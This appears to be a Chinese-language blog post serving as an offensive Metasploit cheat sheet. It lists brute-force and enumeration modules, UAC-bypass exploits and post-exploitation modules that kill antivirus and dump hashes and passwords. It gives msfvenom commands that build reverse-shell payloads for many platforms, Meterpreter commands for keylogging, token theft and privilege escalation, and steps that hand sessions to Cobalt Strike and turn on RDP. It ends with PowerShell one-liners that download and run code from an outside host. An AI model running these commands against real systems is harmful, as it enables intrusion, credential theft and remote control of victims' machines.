show options					#显示可选选项
	 auxiliary					#显示所有辅助模块
	 exploits					#显示所有漏洞利用模块
	 payloads					#显示所有有效载荷
	 targets					#显示所有可用目标
	 advanced					#显示更多高级选项
	 encoders					#显示可用编码器列表

set/unset  						#设置/禁用模块中的某个参数 
setg/unsetg  					#设置/禁用适用于所有模块的全局参数 
set proxies sock5:127.0.0.1:8000 #设置代理

save 							#将当前设置值保存下来,以便下次启动MSF终端时仍可使用

msfconsole辅助模块(Auxiliary)

端口扫描:

use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描:

auxiliary/scanner/ssh/ssh_login			# SSH爆破
auxiliary/scanner/vnc/vnc_none_auth		# VNC空口令扫描
auxiliary/scanner/telnet/telnet_login   # Telnet爆破
auxiliary/scanner/smb/smb_version		# SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers		# SMB枚举
auxiliary/scanner/smb/smb_login			# SMB弱口令登录
auxiliary/admin/smb/psexec_command		# 登录SMB且执行命令
auxiliary/scanner/redis/redis_login		# Redis爆破
auxiliary/scanner/mssql/mssql_ping		# MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum		# MSSQL枚举
auxiliary/scanner/mysql/mysql_login		# MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum		# MySQL枚举

msfconsole后渗透攻击模块 (Post)

run post/windows/manage/migrate				 			# 自动进程迁移
run post/windows/gather/checkvm							# 查看目标主机是虚拟机
run post/windows/manage/killav							# 关闭杀毒软件
run post/windows/manage/enable_rdp      				# 开启远程桌面服务
run post/windows/manage/autoroute       				# 查看路由信息
run post/windows/gather/enum_logged_on_users 		    # 列举当前登录的用户
run post/windows/gather/enum_applications    		    # 列举目标主机应用程序
run post/windows/gather/credentials/windows_autologin   # 抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump         			# dump出所有用户的
hash
run post/windows/manage/payload_inject					# 将另一个payload添加进原有的会话id,从而返回一个新的会话id
run post/windows/manage/enable_rdp						# 自动开启3389端口(也可任意端口)
run post/windows/manage/multi_meterpreter_inject		# Inject in Memory射入内存
run post/windows/gather/credentials/sso					# 获取明文密码

域控相关:

run post/windows/gather/enum_domain						# 查看域控
run post/windows/gather/enum_domain_group_users			# 枚举域组
run post/windows/gather/enum_domain_users				# 枚举活动域用户
run post/windows/gather/enum_tokens						# 枚举域管理令牌
run post/windows/gather/local_admin_search_enum			# 收集本地windows管理员
run post/windows/manage/add_user_domain					# 将用户添加到域和/或域组

msfconsole渗透攻击模块(Exploit)

绕过UAC限制:

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_comhijack
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_sluihijack
exploit/windows/local/bypassuac_vbs

msfenvom生成shell code

Windows:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

msfenvom生成可执行文件

Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.128 LPORT=4444 -f exe > shell.exe

Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Meterpreter常用命令

meterpreter > background  放回后台
meterpreter > exit  关闭会话
meterpreter > help  帮助信息
meterpreter > sysinfo系统平台信息
meterpreter > screenshot  屏幕截取
meterpreter > shell  命令行shell (exit退出)
meterpreter > getlwd  查看本地目录
meterpreter > lcd  切换本地目录
meterpreter > getwd  查看目录
meterpreter > ls 查看文件目录列表
meterpreter > cd  切换目录 
meterpreter > rm  删除文件 
meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe  上传文件
meterpreter > search -d c:  -f *.doc  搜索文件
meterpreter > execute -f  cmd.exe -i   执行程序/命令 
meterpreter > ps  查看进程
meterpreter > run post/windows/capture/keylog_recorder   键盘记录
meterpreter > getuid  查看当前用户权限
meterpreter > use priv  加载特权模块
meterpreter > getsystem  提升到SYSTEM权限
meterpreter > hashdump  导出密码散列
meterpreter > ps   查看高权限用户PID
meterpreter > steal_token <PID>  窃取令牌
meterpreter > rev2self  恢复原来的令牌 
meterpreter > migrate pid  迁移进程
meterpreter > run killav  关闭杀毒软件 
meterpreter > run getgui-e  启用远程桌面
meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP>  端口转发
meterpreter > run get_local_subnets  获取内网网段信息
meterpreter > run autoroute -s <内网网段>  创建自动路由
meterpreter > run autoroute -p  查看自动路由表

各种shell的相互转换

msf派生shell给cobalt Strike

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST xx.x.x.x  # CS IP
set LPORT xx        # CS http监听端口
set session 1
set DISABLEPAYLOADHANDLER true
run

cobalt Strike联动msf

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xx.xx.xx.xx
set lport xx
run

选择 foreign 类型的监听进行 Spawn,填写 MSF 的 IP 和监听端口。

command shell转meterpreter

接收普通shell:

use exploit/multi/handlerset payload windows/shell/reverse_tcprun

ctrl+Z将反弹的普通shell放置后台,调用shell_to_meterpreter模块升级普通shell:

use post/multi/manage/shell_to_meterpreterset SESSION <id>set LPORT run

再次输入sessions -l 查看后台的sessions,新增了meterpreter shell。

meterpreter转command shell

meterpreter > shell  命令行shell (exit退出)

内网其他命令

3389端口开放

wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService

powershell文件下载

powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:\test.exe');start-process 'C:\test.exe'
powershell (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','test.exe')
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://1.1.1.1/test.ps1")
echo (new-object System.Net.WebClient).DownloadFile('http://1.1.1.1/test.exe','C:/test.exe')| powershell -
posted @ 2023-05-12 01:12  lockly  阅读(65)  评论(0编辑  收藏  举报